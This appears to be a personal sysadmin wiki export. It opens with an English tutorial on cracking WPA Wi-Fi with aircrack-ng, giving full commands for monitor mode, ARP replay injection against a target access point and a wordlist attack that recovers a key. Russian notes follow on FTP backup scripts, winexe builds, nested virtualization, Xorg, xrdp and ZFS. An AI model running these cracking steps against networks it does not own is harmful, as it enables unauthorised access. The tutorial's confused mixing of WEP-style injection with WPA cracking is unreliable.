anonymous@undisclosed.example.com (Anonymous) — Tue, 24 Feb 2026 10:21:47 +0000

https://github.com/david-palma/wifi-cracking

Wi-Fi cracking with aircrack-ng

https://aircrack-ng.org/ is basically a network software suite that has been crafted to achieve the following objectives:

packet sniffing
attacking (replay attacks, deauthentication, fake access points…) via packet injection
testing Wi-Fi cards and driver capabilities (capture and injection)
cracking WEP and WPA/WPA2 Wi-Fi routers

Note that the present tutorial is not an exhaustive guide, rather it is intended to build some basic skills to test your own network's security and get familiar with the concepts.
The attack outlined below is based on a passive technique (ARP request replay attack) and it focuses on debian-based distributions assuming you have a working wireless card with drivers already patched for injection.

Aircrack-ng installation

Aircrack-ng can be installed on a debian-based operating system by compiling the source code (for more details you can visit the https://aircrack-ng.org/).

Installing required and optional dependencies

Below you can find instructions for installing the basic requirements to build aircrack-ng for Debian-based operating systems.

sudo apt install build-essential autoconf automake libtool pkg-config libnl-3-dev libnl-genl-3-dev libssl-dev ethtool shtool rfkill zlib1g-dev libpcap-dev libsqlite3-dev libpcre3-dev libhwloc-dev libcmocka-dev hostapd wpasupplicant tcpdump screen iw usbutils git

Get the latest copy of aircrack-ng:

git clone https://github.com/aircrack-ng/aircrack-ng
cd aircrack-ng

Compiling and installing

To build aircrack-ng, the Autotools build system is used.
First

./configure

the project for building with the appropriate options:

autoreconf -i
./configure --with-experimental

Next, compile the project with the

make

command and use the “installing” target from the additional targets listed below to complete the installation.

Execute all unit testing:
```
make check
```
Execute all integration testing (requires root):
```
make integration
```
Installing:
```
make install
```
Uninstall:
```
make uninstall
```

Test wireless device packet injection

The purpose of this step ensures that your card successfully supports injection.
Assuming your interface name is “wlan0” (you can retrieve it typing `iwconfig` on the terminal), type the following command:

aireplay-ng --test wlan0

The system responds:

18:10:59  wlan0 channel: 10
18:10:59  Trying broadcast probe requests...
18:10:59  Injection is working!
18:11:00  Found 1 AP
...

This confirms your card can inject packets.

Simple sniffing and cracking

Start the wireless interface in monitor mode

The first thing to do is looking out for a potential target putting your wireless card into monitor mode using `airmon-ng`. However, it is strongly recommended to `kill` all interfering processes prior to using the aircrack-ng suite.

```ShellSession # airmon-ng check kill Killing these processes:

PID Name
870 dhclient

1115 wpa_supplicant ```

Then, it is possible to enable the monitor mode used to create another interface (mon0):

```ShellSession # airmon-ng start wlan0

PHY Interface Driver Chipset

phy0 wlan0 ath9k Qualcomm Atheros AR9485

                             (monitor mode enabled for [phy0]wlan0 on [phy0]mon0)

```

You will notice that “wlan0” has successfully been put into monitor mode. Then, start `airodump-ng` to look out for networks:

```ShellSession # airodump-ng mon0 ```

Locate the wireless network you want to crack, and note its BSSID and channel from the following output:

```ShellSession CH 10 ][ Elapsed: 36 s][2019-05-15 18:15 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 08:00:BF:E6:31:2E -21 100 5240 178307 338 10 54 WPA CCMP PSK infosec_router … ```

Note that the top part of the output lists information about APs in range, and the bottom part lists clients connected to the corresponding APs.

### 2. Start airodump-ng to capture the initial vectors

Open another console session to capture the initial vectors generated by the target and to save the result into a file:

```ShellSession # airodump-ng -c 10 –bssid 08:00:BF:E6:31:2E -w output-file mon0 ```

where `-c 10` is the channel for the wireless network, `–bssid 08:00:BF:E6:31:2E` is the MAC address of the AP, `-w output-file` defines the output files that will contain the initialization vectors, and `mon0` is the interface name.

The system responds:

```ShellSession CH 10 ][ Elapsed: 12 s][2019-05-15 18:16 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 08:00:BF:E6:31:2E -21 100 5240 178307 338 10 54 WPA CCMP PSK infosec_router

BSSID STATION PWR Lost Packets Probes 08:00:BF:E6:31:2E 00:0F:35:51:AC:22 -21 0 183782 ```

After the execution of the command various files will be generated.

### 3. Start aireplay-ng in ARP request replay mode

The classic ARP request replay attack is the most effective way to generate new initialization vectors, and works very reliably. The purpose of this step is to start `aireplay-ng` in a mode which listens for ARP requests then reinjects them back to the access point. Keep your `airodump-ng` and `aireplay-ng` running, open another terminal and run the ARP request replay attack:

```ShellSession # aireplay-ng –arpreplay -b 08:00:BF:E6:31:2E -h 00:0F:35:51:AC:22 mon0

Saving ARP requests in replay_arp-0321-191525.cap You should also start airodump-ng to capture replies. Read 618643 packets (got 304896 ARP requests), sent 194947 packets… ```

You can check if the packets are injected by looking at the `airodump-ng` screen.

### Run aircrack-ng to obtain the WPA key

At this point, you should be able to obtain the WPA key from the initialization vectors gathered in the previous steps. To perform this attack you need a wordlist and if the network password is not in the wordfile you will not crack the password. Note that most WPA/WPA2 routers come with strong 12 character random passwords that many users (rightly) leave unchanged. If you are attempting to crack one of these passwords, I recommend using the [WPA-length password lists](https://github.com/david-palma/wordlists#passwords-with-wpa-length).

Open another console session and type:

```ShellSession # aircrack-ng -a2 -b 08:00:BF:E6:31:2E -w wordlist.txt output*.cap ```

where `-a2` specifies the attack mode for WPA/WPA2-PSK, `-w wordlist.txt` refers to your own dictionary wordlist, and `output*.cap` selects all output files with `.cap` extension.

This is the output of a successful attack:

```ShellSession

                      Aircrack-ng 1.5.2

[00:00:00] 192/1229 keys tested (520.04 k/s)

Time left: 0 seconds 15.62%

                   KEY FOUND! [ notsecure ]

Master Key : 42 28 5E 5A 73 33 90 E9 34 CC A6 C3 B1 CE 97 CA

               06 10 96 05 CC 13 FC 53 B0 61 5C 19 45 9A CE 63

Transient Key : 86 D0 43 C9 AA 47 F8 03 2F 71 3F 53 D6 65 F3 F3

               86 36 52 0F 48 1E 57 4A 10 F8 B6 A0 78 30 22 1E
               4E 77 F0 5E 1F FC 73 69 CA 35 5B 54 4D B0 EC 1A
               90 FE D0 B9 33 06 60 F9 33 4B CF 30 B4 A8 AE 3A

EAPOL HMAC : 8E 52 1B 51 E8 F2 7E ED 95 F4 CF D2 C6 D0 F0 68 ```

## List of commands

Below you can find the list of all of the commands needed to crack a WPA/WPA2 network.

``` # kill all interfering processes prior to using the aircrack-ng airmon-ng check kill

# put your network device into monitor mode airmon-ng start wlan0

# listen for all nearby beacon frames to get target BSSID and channel airodump-ng mon0

# start listening for the handshake on a new console session airodump-ng -c 10 –bssid 08:00:BF:E6:31:2E -w output-file mon0

# start the ARP request replay attack aireplay-ng –arpreplay -b 08:00:BF:E6:31:2E -h 00:0F:35:51:AC:22 mon0

# run aircrack-ng to obtain the WPA key aircrack-ng -a2 -b 08:00:BF:E6:31:2E -w wordlist.txt output*.cap ```

## License

This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.

## Disclaimer

This tutorial has been made for educational purposes only, I don't promote malicious practices and I will not be responsible for any illegal activities.

wiki_backup

anonymous@undisclosed.example.com (Anonymous) — Fri, 24 Nov 2023 11:15:49 +0000

Бекап на удаленный ftp

Скрипт для бекапа сайта на удаленный сервер по FTP.
Скрипт бекапит всю рабочую директорию пофайлово (для того, чтобы сайт сразу после бекапа был доступен ан резервной площадке - бесплатного хостера), а также делает общий шифрованный архив, разбивает его на небольшие куски и кладет в директорию с текущей датой.
Скрипт проверяет, что глубина архива (число директорий с полным шифрованным архивом) не превышает заданного лимита и удаляет старое.

#!/bin/bash
dir_to_backup=/pve-data/kubernetes_volumes/wiki-data
backup_name_prefix=wiki
ftpserver=ftp.server.com
username=ftp_login
password=ftp_pass
currentdate=$(date +%d-%m-%Y_%H_%M)
remote_www_dir=/htdocs
backup_depth_days=10
encryption_password=enc_pass
tmp_dir=/pve-data/tmp
tmp_arc_dir=$tmp_dir/$backup_name_prefix_$currentdate


#Get list of directories with full encrypted backups
dirs=`echo "lftp -e 'set ssl:verify-certificate no ssl:check-hostname false net:connection-limit 4; cls --sort=date $remote_www_dir/$backup_name_prefix; bye;' ftp://$username:$password@$ftpserver" | /bin/bash`
dirs=(${dirs// / })
#check number of directories and delete oldest
if [[ ${#dirs[@]} -gt $backup_depth_days ]]; then
        for ((i = $backup_depth_days; i < ${#dirs[@]}; i++))
        {
                echo "lftp -e 'set ssl:verify-certificate no ssl:check-hostname false net:connection-limit 4; rm -r -f ${dirs[$i]}; bye;' ftp://$username:$password@$ftpserver" | /bin/bash
        }
fi

#Create tmp folder
mkdir --parents $tmp_arc_dir
#Disable URL rewrites
sed -i '/userewrite/s/1/0/' $dir_to_backup/conf/local.php
#Make ENCRYPTED archive
tar -cpf - --use-compress-program=pigz $dir_to_backup | openssl enc -aes-192-cbc -pass pass:$encryption_password -out $tmp_arc_dir/$backup_name_prefix-$currentdate.tar.gz
#Enable URL rewrites
sed -i '/userewrite/s/0/1/' $dir_to_backup/conf/local.php
#Split archive to small parts
cd $tmp_arc_dir
split -d -a 3 -b 8000000 ./$backup_name_prefix-$currentdate.tar.gz
#Calculate md5 checksum
md5sum $tmp_arc_dir/$backup_name_prefix-$currentdate.tar.gz > $tmp_arc_dir/$backup_name_prefix-$currentdate.tar.gz.md5
rm -f $tmp_arc_dir/$backup_name_prefix-$currentdate.tar.gz
#Put archive parts to remote ftp and remove tmp dir
echo "lftp -e 'set ssl:verify-certificate no ssl:check-hostname false net:connection-limit 4; mkdir $remote_www_dir/$backup_name_prefix; mkdir $remote_www_dir/$backup_name_prefix/$currentdate; mirror -c -R $tmp_arc_dir $remote_www_dir/$backup_name_prefix/$currentdate; bye;' ftp://$username:$password@$ftpserver" | /bin/bash
rm -Rf $tmp_arc_dir

#Mirror current site to remote server
echo "lftp -e 'set ssl:verify-certificate no ssl:check-hostname false net:connection-limit 4; mirror --use-pget-n=10 -c -R -e --exclude=data/tmp/captcha/ --exclude=data/cache/  $dir_to_backup $remote_www_dir; bye;' ftp://$username:$password@$ftpserver" | /bin/bash
#Disable URL rewrites
sed -i '/userewrite/s/1/0/' $dir_to_backup/conf/local.php
#replace remote conf.php with disabled rewrites
echo "lftp -e 'set ssl:verify-certificate no ssl:check-hostname false net:connection-limit 4; put -O $remote_www_dir/conf $dir_to_backup/conf/local.php; bye;' ftp://$username:$password@$ftpserver" | /bin/bash
#Enable URL rewrites
sed -i '/userewrite/s/0/1/' $dir_to_backup/conf/local.php

Восстановление из текущей живой копии у внешнего хостера

#!/bin/bash
backup_name_prefix=wiki
ftpserver=ftp.unaux.com
username=unaux_user
password=superpassword
remote_www_dir=/htdocs
encryption_password=superencryptionpassword

echo "lftp -e 'set ssl:verify-certificate no ssl:check-hostname false net:connection-limit 4; mirror -c $remote_www_dir $dir_to_backup; bye;' ftp://$username:$password@$ftpserver" | /bin/bash

Восстановлние из полного шифрованного архива

#!/bin/bash
backup_name_prefix=wiki
ftpserver=ftp.unaux.com
username=unaux_user
password=superpassword
remote_www_dir=/htdocs
encryption_password=superencryptionpassword

restore_dir=~/restore

dirs=`echo "lftp -e 'set ssl:verify-certificate no ssl:check-hostname false net:connection-limit 4; cls --sort=date $remote_www_dir/$backup_name_prefix; bye;' ftp://$username:$password@$ftpserver" | /bin/bash`
dirs=(${dirs// / })
latest_backup_dir=${dirs[0]}

mkdir -p $restore_dir
echo "lftp -e 'set ssl:verify-certificate no ssl:check-hostname false net:connection-limit 4; mirror -c $latest_backup_dir $restore_dir; bye;' ftp://$username:$password@$ftpserver" | /bin/bash

archive_filename=`ls $restore_dir/*md5 | sed 's/.md5//'`
cat $restore_dir/x* > $archive_filename

openssl enc -in $archive_filename -d -aes-192-cbc -pass pass:$encryption_password | sudo tar -xzvf - -C $restore_dir

winerar_winrar_service_menu_in_kde5

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

В KDE 5.5 мне не хватало WinRar с его возможностью одним кликом ивлекать файлы из виндовых .exe инсталляторов.
К счастью, нашелся winerar - https://dl.opendesktop.org/api/files/download/id/1460731697/67571-winerar.tar.gz или тут: 67571-winerar.tar.gz
Он создает привычное Winrar меню в dolphin, однако у меня оно не заработало. я копировал файлик куда нужно, однако результата не было.
Немного покопавшись в онторетах я нашел что нужно сделать.
В KDE5 изменились папки. в которых хранятся настройки ServiceMenus.
Для того, чтобы все работало устанавливаем winrar (или копируем папку с виндовой машины в ~/.wine/drive_c/Program/ Files/WinRAR/), потом копируем файлик winerar_kde4.desktop в /usr/share/kservices5/ServiceMenus/ и затем выполняем:

kbuildsycoca5

В результате в Dolphin при правой кнопкой мыши появляется меню WineRar.

winexe1.1

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Вот тут есть собранный пакет для CentOS 7: http://opensource.is/repo/testing/rhel7/x86_64/winexe-1.01-1.git.11.d48449a.x86_64.rpm

Сборка winexe под Ubuntu 16.04 (октябрь 2017)

Есть замечательная утилита winexe - аналог psexec, позволяющая запускать команды на windows-хостах из командной строчки linux.
Однако, долгое время у меня не получалось собрать версию winexe 1.1, которая может нормально работать с новыми Windows 2012 и далее.
При сборке с shared-библиотеками появлялась ошибка

Checking for library cli-ldap-samba4     : not found

И вот наконец получилось.
нашел рецеп тут: https://sourceforge.net/p/winexe/bugs/77/
Ставим то что нужно для сборки и делаем необходимые симлинки.

sudo apt-get -y install python2.7 gcc-mingw-w64 libtevent-dev samba-dev libgnutls-dev libacl1-dev libldap2-dev
sudo ln -s /usr/lib/x86_64-linux-gnu/samba/libcli-ldap.so.0 /usr/lib/x86_64-linux-gnu/samba/libcli-ldap-samba4.so.0 
sudo ln -s /usr/lib/x86_64-linux-gnu/samba/libdcerpc-samba.so.0 /usr/lib/x86_64-linux-gnu/samba/libdcerpc-samba-samba4.so.0 
sudo ln -s /usr/lib/x86_64-linux-gnu/samba/liberrors.so.0 /usr/lib/x86_64-linux-gnu/samba/liberrors-samba4.so.0

Скачиваем - u-mstowe-winexe-1.1 или вот поновее (но эта версия не собирается): u-mstowe-winexe-c2fcdf2f2500d15b696ce0c7077ab624d24aaac9.zip

Версия на данный момент актуальная не собирается (по крайней мере под Ubuntu 16.04):

wget https://sourceforge.net/code-snapshots/git/u/u/u/mstowe/winexe.git/u-mstowe-winexe-c2fcdf2f2500d15b696ce0c7077ab624d24aaac9.zip

или

git clone https://git.code.sf.net/u/mstowe/winexe u-mstowe-winexe

Итак - распаковываем - u-mstowe-winexe-1.1.
Собираем :

cd u-mstowe-winexe/source 
sudo apt-get -y install python2.7 gcc-mingw-w64 libtevent-dev samba-dev libgnutls-dev libacl1-dev libldap2-dev
sudo ln -s /usr/lib/x86_64-linux-gnu/samba/libcli-ldap.so.0 /usr/lib/x86_64-linux-gnu/samba/libcli-ldap-samba4.so.0 
sudo ln -s /usr/lib/x86_64-linux-gnu/samba/libdcerpc-samba.so.0 /usr/lib/x86_64-linux-gnu/samba/libdcerpc-samba-samba4.so.0 
sudo ln -s /usr/lib/x86_64-linux-gnu/samba/liberrors.so.0 /usr/lib/x86_64-linux-gnu/samba/liberrors-samba4.so.0 
./waf configure build
build/winexe --help

И потом кладем скомпилированную winexe в /usr/bin

sudo cp build/winexe /usr/bin/

Проверено на Ubuntu 16.04

Проблемы

При сборке возникает ошибка:

Checking for library cli-ldap-samba4 : not found Checking for library :libcli-ldap-samba4.so.0 : not found Build of shared winexe : disabled Cannot continue! Please either install Samba shared libraries and re-run waf, or download the Samba source code and re-run waf with the “–samba-dir” option. (complete log in /mnt/hdd/Downloads/u-mstowe-winexe-9f5b8251e85dbdcf44fac4e7613fba800152e41b/source/build/config.log)

Это означает, что сборщик не может найти библиотеки. Чтобы поправить - нужно создать симлинки:

sudo ln -s /usr/lib/x86_64-linux-gnu/samba/libcli-ldap.so.0 /usr/lib/x86_64-linux-gnu/samba/libcli-ldap-samba4.so.0 
sudo ln -s /usr/lib/x86_64-linux-gnu/samba/libdcerpc-samba.so.0 /usr/lib/x86_64-linux-gnu/samba/libdcerpc-samba-samba4.so.0 
sudo ln -s /usr/lib/x86_64-linux-gnu/samba/liberrors.so.0 /usr/lib/x86_64-linux-gnu/samba/liberrors-samba4.so.0

После обновления Samba с версии 4.3.9 до версии 4.3.11, winexe перестал запускаться с ошибками:

winexe: /usr/lib/x86_64-linux-gnu/samba/libcli-ldap.so.0: version `SAMBA_4.3.9_UBUNTU' not found (required by winexe)
winexe: /usr/lib/x86_64-linux-gnu/samba/libdcerpc-samba.so.0: version `SAMBA_4.3.9_UBUNTU' not found (required by winexe)
winexe: /usr/lib/x86_64-linux-gnu/samba/liberrors.so.0: version `SAMBA_4.3.9_UBUNTU' not found (required by winexe)

Помогла пересборка winexe заново вышеприведенными командами, хотя, я думаю, можно было просто пересоздать ссылки:

sudo apt-get -y install python2.7 gcc-mingw-w64 libtevent-dev samba-dev 
sudo ln -s /usr/lib/x86_64-linux-gnu/samba/libcli-ldap.so.0 /usr/lib/x86_64-linux-gnu/samba/libcli-ldap-samba4.so.0 
sudo ln -s /usr/lib/x86_64-linux-gnu/samba/libdcerpc-samba.so.0 /usr/lib/x86_64-linux-gnu/samba/libdcerpc-samba-samba4.so.0 
sudo ln -s /usr/lib/x86_64-linux-gnu/samba/liberrors.so.0 /usr/lib/x86_64-linux-gnu/samba/liberrors-samba4.so.0

xenserver-6-2-в-виртуальнои-машине-kvm-на-базе-ubuntu-14-04-nested-guest ...

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Преамбула

Для тестирования разнообразных виртуальных конфигураций обычно требуется несколько физических хостов. Это далеко не всегда удобно, а иногда и невозможно.
Выход есть - это “вложенные” (nested) виртуальные машины, когда есть гипервизор установленный непосредственно на железо(уровень L0), в нем запускается виртуальная машина с другим гипервизором (уровень L1), а затем в гипервизоре уровня L1 запускаются еще виртуальные машины.

Возможные пути решения

Nested виртуализация поддерживается VMWare ESXi 5.x. Об этом есть статьи в интернете. И у меня немного тоже есть - Запуск других гипервизоров в ESXi 5.
Также “вложенные” гипервизоры можно запускать в KVM. Я попытался сделать это в Ubuntu 14.04.
Обязательное условие - поддержка процессором технологий Intel VT-x или AMD-V, то есть наличие флага vmx для процессоров Intel или svm для процессоров AMD.
Посмотреть наличие этих флагов можно в выводе команды:

cat /proc/cpuinfo

Что получилось у меня

Я попробывал запустить XenServer 6.2 под ESXi 5.5 и он запустился. Но с ESXi невозможно работать на ноутбуке.
Решение пришло в виде Ubuntu 14.04 Server + KVM.
Я поставил Ubuntu 14.04 Server, при установке я указал что хочу KVM host, а затем поставил desktop от KDE. Для управления виртуальными машинами установил virt-manager:

sudo apt-get install virt-manager

Дальше оказалось нужно проверить возможность запуска вложенных гипервизоров в KVM. Для этого выполняем:

$ cat /sys/module/kvm_intel/parameters/nested
Y

Если в вывод Y, значит поддержка вложенных VM уже включена.
Если нет - делаем как написано тут: http://www.rdoxenham.com/?p=275.
У меня на свежеустановленной Ubuntu 14.04 все уже было включено.
Как написано во многих мануалах - в виртуальной машине с гипервизором нужен процессор с поддержкой vmx. Ее можно специально включить либо в virt-manager, указав в конфигурации процессора в Processor → Configuration → CPU Features → vmx - require, либо в конфигурационном xml-файле вирутальной машины в папке /etc/libvirt/qemu/ строкой:

<feature policy='require' name='vmx'/>

в секции cpu.
Итак - я создал виртуальную машину типа Generic, дал ей 4 Gb памяти, включил vmx, в дополнительных свойствах указал Virt-type: kvm и Architecure: x86_64 и запустил инсталлятор XenServer 6.2.
Инсталлятор запустился, я обрадовался, но быстро обломался. При установке XenServer 6.2 инсталлятор бодро сообщал мне что Hardware virtualization assist support is not available on this system. . Это было обидно. Это означало однозначную невозможность запустить в этом гипервизоре Windows. Несколько часов гугления не давали результата. Перебор различных вариантов параметров виртуальной машины под XenServer тоже.
И вот я обнаружил таких же страдальцев на багтрекере ядра Linux - https://bugzilla.kernel.org/show_bug.cgi?id=45931. Они сообщали, что проблема в единственной строке кода и патч будет включен в версию ядра 3.16, а состав Ubuntu 14.04 входит ядро 3.13. К моему счастью я обнаружил, что для Ubuntu вышел релиз-кандидат ядра версии 3.16RC2.

Обновление ядра вышло предельно простым:

wget kernel.ubuntu.com/~kernel-ppa/mainline/v3.16-rc2-utopic/linux-headers-3.16.0-031600rc2_3.16.0-031600rc2.201406220135_all.deb
wget kernel.ubuntu.com/~kernel-ppa/mainline/v3.16-rc2-utopic/linux-headers-3.16.0-031600rc2-generic_3.16.0-031600rc2.201406220135_amd64.deb
wget kernel.ubuntu.com/~kernel-ppa/mainline/v3.16-rc2-utopic/linux-image-3.16.0-031600rc2-generic_3.16.0-031600rc2.201406220135_amd64.deb
wget kernel.ubuntu.com/~kernel-ppa/mainline/v3.16-rc2-utopic/linux-image-3.16.0-031600rc2-generic_3.16.0-031600rc2.201406220135_amd64.deb
sudo dpkg -i linux-headers-3.16*.deb linux-image-3.16*.deb

В результате я смог установить XenServer 6.2 и запустить в нем виртуальную машину в режиме HVM и в ней установку Windows 7 x64, однако установка зависает в разных местах. Самое большее что пока удалось сделать - дойти до копирования файлов. Хотя, есть подозрение, что XenServer останавливается сам, независимо от того, работают на нем виртуальные машины или нет. Кстати - аналогичное зависание XenServer 6.2 наблюдается и под VirtualBox в среде Windows. Там удается установить какой-нибудь Linux в режиме PV, но потом XenServer виснет в произвольном месте.

Продолжение следует.

xfce_blank_logon_screen_after_suspend_resume

anonymous@undisclosed.example.com (Anonymous) — Sun, 12 Nov 2023 08:59:56 +0000

Проблема

На системе Ubuntu 23.10 + Lightdm + XFCE4.
После выхода из сна экран черный, но ноубук работает, можно запустить консоли с помощью Ctrl+Alt+F[1-5].
Если в консоли выполнить команду:

chvt 7; DISPLAY=:0 xrandr --auto

то можно вернуться в сессию.

Однако, как решить эту проблемы системно я пока не понял. Перебор пакетов lightdm, sddm, xfce4-screensaver, gnome-screensaver, xscreensaver результата не давал.
Однако, в какой-то момент система пришла в норму и проблема ушла.
Я подозреваю дело в настройках дисплея.

xorg_setup

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

сохранить текущую конфигурацию xorg

sudo X :2 -configure

текущая конфигурация сохранится в ~/xorg.conf.new

С каким драйвером работает карта

lspci -k| grep -EA2 'VGA|3D'

Ошибка xf86OpenConsole

Если при выполнении

startx

Встречаются ошибки типа:

xf86OpenConsole: Cannot open /dev/tty0 (No such file or directory)

или

xf86OpenConsole: Cannot open virtual console 8 (Permission denied)

Значит нужно сделать так:

sudo chmod u+s /usr/bin/Xorg

Ошибки ABI

Если при старте Xorg ругается на несовместимость ABI, то можно попытаться отключить эту проверку. Для этого редактируем /etc/X11/xinit/xserverrc

sudo nano /etc/X11/xinit/xserverrc

и там в строке запуска X после exec /usr/bin/X добавляем опцию -ignoreABI. Получится как-то так:

exec /usr/bin/X -ignoreABI -nolisten tcp "$@"

xrdp_troubleshooting

anonymous@undisclosed.example.com (Anonymous) — Fri, 04 Dec 2020 08:56:58 +0000

XRDP - Голубой экран при подключении

Система - Ubuntu 18.04, в домене Active Directory (samba + winbind).
При подключении сессии RDP после ввода пароля показывает только голубой (сине-зеленый) экран и сессия не открывается.
При этом буквально вчера всё работало отлично! Некоторые пользователи нормально логинятся и всё работает.
В логе /var/log/xrdp-sesman.log примерно такое:

[20201204-10:44:55] [INFO ] A connection received from ::ffff:127.0.0.1 port 47690
[20201204-10:44:56] [INFO ] ++ created session (access granted): username username, ip ::ffff:10.77.178.183:62533 - socket: 12
[20201204-10:44:56] [INFO ] starting Xorg session...
[20201204-10:44:56] [DEBUG] Closed socket 9 (AF_INET6 :: port 5911)
[20201204-10:44:56] [DEBUG] Closed socket 9 (AF_INET6 :: port 6011)
[20201204-10:44:56] [DEBUG] Closed socket 9 (AF_INET6 :: port 6211)
[20201204-10:44:56] [DEBUG] Closed socket 5 (AF_INET6 ::ffff:127.0.0.1 port 3350)
[20201204-10:44:56] [INFO ] calling auth_start_session from pid 23453
[20201204-10:44:56] [DEBUG] Closed socket 8 (AF_INET6 ::ffff:127.0.0.1 port 3350)
[20201204-10:44:56] [DEBUG] Closed socket 5 (AF_INET6 ::ffff:127.0.0.1 port 3350)
[20201204-10:45:06] [ERROR] X server for display 11 startup timeout
[20201204-10:45:06] [ERROR] X server for display 11 startup timeout
[20201204-10:45:06] [ERROR] another Xserver might already be active on display 11 - see log
[20201204-10:45:06] [CORE ] waiting for window manager (pid 23471) to exit
[20201204-10:45:06] [DEBUG] aborting connection...
[20201204-10:45:06] [CORE ] window manager (pid 23471) did exit, cleaning up session
[20201204-10:45:06] [INFO ] calling auth_stop_session and auth_end from pid 23453
[20201204-10:45:06] [DEBUG] cleanup_sockets:
[20201204-10:45:06] [INFO ] shutting down sesman 1
[20201204-10:45:06] [INFO ] ++ terminated session:  username username, display :11.0, session_pid 23453, ip ::ffff:10.77.178.183:62533 - socket: 12
[20201204-10:45:16] [INFO ] /usr/lib/xorg/Xorg :11 -auth .Xauthority -config xrdp/xorg.conf -noreset -nolisten tcp -logfile .xorgxrdp.%s.log

То есть системе не удается выполнить команду:

/usr/lib/xorg/Xorg :11 -auth .Xauthority -config xrdp/xorg.conf -noreset -nolisten tcp -logfile .xorgxrdp.%s.log

При исследовании выяснилось, что проблема в маппинге пользователей домена на UID в linux. Номера uid и gid почему-то изменились и некоторые доменные пользователи потеряли права на запись в свои домашние директории.
В smb.conf за мапинг отвечали параметры:

idmap gid = 10000-20000
idmap uid = 10000-20000

Но это было до версии Samba 4.6. У меня версия 4.7 и там все иначе - https://wiki.samba.org/index.php/Idmap_config_ad

security = ADS
workgroup = SAMDOM
realm = SAMDOM.EXAMPLE.COM

log file = /var/log/samba/%m.log
log level = 1

# Default ID mapping configuration for local BUILTIN accounts
# and groups on a domain member. The default (*) domain:
# - must not overlap with any domain ID mapping configuration!
# - must use a read-write-enabled back end, such as tdb.
idmap config * : backend = tdb
idmap config * : range = 3000-7999
# - You must set a DOMAIN backend configuration
# idmap config for the SAMDOM domain
idmap config SAMDOM:backend = ad
idmap config SAMDOM:schema_mode = rfc2307
idmap config SAMDOM:range = 10000-999999
idmap config SAMDOM:unix_nss_info = yes

vfs objects = acl_xattr
map acl inherit = yes
store dos attributes = yes

В итоге помогло следующее:

Поправил smb.conf.
Дал пользователям права на их домашние директории
```
sudo chown username /home/DOMAIN/username -R 
```

zfs_deduplicate_existing_data

anonymous@undisclosed.example.com (Anonymous) — Thu, 29 Apr 2021 12:38:52 +0000

Дедупликация zfs работает в процессе записи.
Если включить дедупликацию на томе, который уже содержит данные, то для высвобождения свободного места необходимо перезаписать все данные, чтобы они дедуплицировались.
Для этого есть несколько способов:

https://github.com/pjd/filerewrite

zfs_zil_l2arc

anonymous@undisclosed.example.com (Anonymous) — Sat, 20 Nov 2021 08:44:20 +0000

На программном зеркальном raid-массиве из двух SSD-дисков /dev/md2 располагаются три logical volumes - swap, ZIL для zfs (кэш записи) и L2ARC - кэш чтения.
Проверим raid-массив и посмотрим число “неправильных” блоков :

echo 'check' >/sys/block/md2/md/sync_action
cat /sys/block/md2/md/mismatch_cnt

Если число несовпадающих блоков не 0, то отключаем кэши и swap:

sudo zpool status -P
sudo zpool remove pve-data /dev/pve/zfs-zil
sudo zpool remove pve-data  /dev/pve/zfs-l2arc
sudo swapoff -a

Запускаем исправление массива и его проверку:

echo 'repair' | sudo tee /sys/block/md2/md/sync_action
watch cat /proc/mdstat
echo 'check' | sudo tee /sys/block/md2/md/sync_action
watch cat /proc/mdstat

И снова смотрим число несовпадающих блоков:

cat /sys/block/md2/md/mismatch_cnt

Теперь там должен быть 0.
Возвращаем обратно кэши и включаем обратно swap:

zpool add pve-data log /dev/pve/zfs-zil
zpool add pve-data cache /dev/pve/zfs-l2arc
swapon -a

zypper_tricks

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Batch edit repo with zypper

Удаление всех репозиториев:

zypper repos | grep Yes | cut -f3 -d '|' | sed -e "s/ //" | awk '{print "zypper rr " $1}'
zypper repos | grep Yes | cut -f3 -d '|' | sed -e "s/ //" | awk '{print "zypper rr " $1}' | bash

автозапуск-в-ubuntu

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Несколько способов автозапуска приложений в Ubuntu:

/etc/init.d/

Первый - из /etc/init.d/. Установка запуска с помощью update-rc.d. Запускается при старте системы, независимо от того вошел ли кто-то в систему или нет. Не подходит для задач, которым нужны ИКСЫ.

При входе пользователя в терминал

Запуск при входе пользователя через ssh или запуска терминала - файл ~/.bashrc . Другой способ - создать файл ~/.ssh/config и добавить опцию LocalCommand (и PermitLocalCommand). see man ssh_config.

Настройка автозапуска приложений X из GUI

В ubuntu 12.04 в dash надо набрать startup applications. Дальше все просто.

Настройка автозапуска приложений X из командной строки

Автозапуск приложений после входа запуска X описывается в файлах .desktop, лежащих в ~/.config/autostart. Они выполняются после входа пользователя.
Файлы .desktop для установленых приложений можно найти в папке /usr/share/applications.
Имеют примерно такое содержимое (только < и > надо убрать):

[Desktop Entry]
Type=Application
Name=<Name of application as displayed>
Exec=<command to execute>
Icon=<full path to icon>
Comment=<optinal comments>
X-GNOME-Autostart-enabled=true

автоматическое_подключение_к_серверам_при_запуске_re ...

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Автоматическое подключение к серверам при запуске remmina

Для работы с Windows серверами я пользуюсь Remmina - отличный GUI для freerdp.
И единственное что мне не очень нравилось - это то что он не умеет автоматически запускать подключения к выбранным серверам при запуске.
К счастью, при запуске remmina из командной строки можно указать какой файл с конфигурацией подключения использовать. Файлы подключений хранятся в папке ~/.remmina/
Для автоматического подключения при запуске нужно отредактировать файл ярлыка - /usr/share/applications/remmina.desktop
В нем ищем строку:

Exec=/usr/bin/remmina

И исправляем ее на

Exec=/usr/bin/remmina.sh

После этого создаем файл /usr/bin/remmina.sh такого содержания:

#!/bin/sh
/usr/bin/remmina -c ~/.remmina/1429802343570.remmina & 
/usr/bin/remmina -c ~/.remmina/1432220959159.remmina & 
/usr/bin/remmina -c ~/.remmina/1421141033575.remmina & 
/usr/bin/remmina -c ~/.remmina/1421140742617.remmina & 
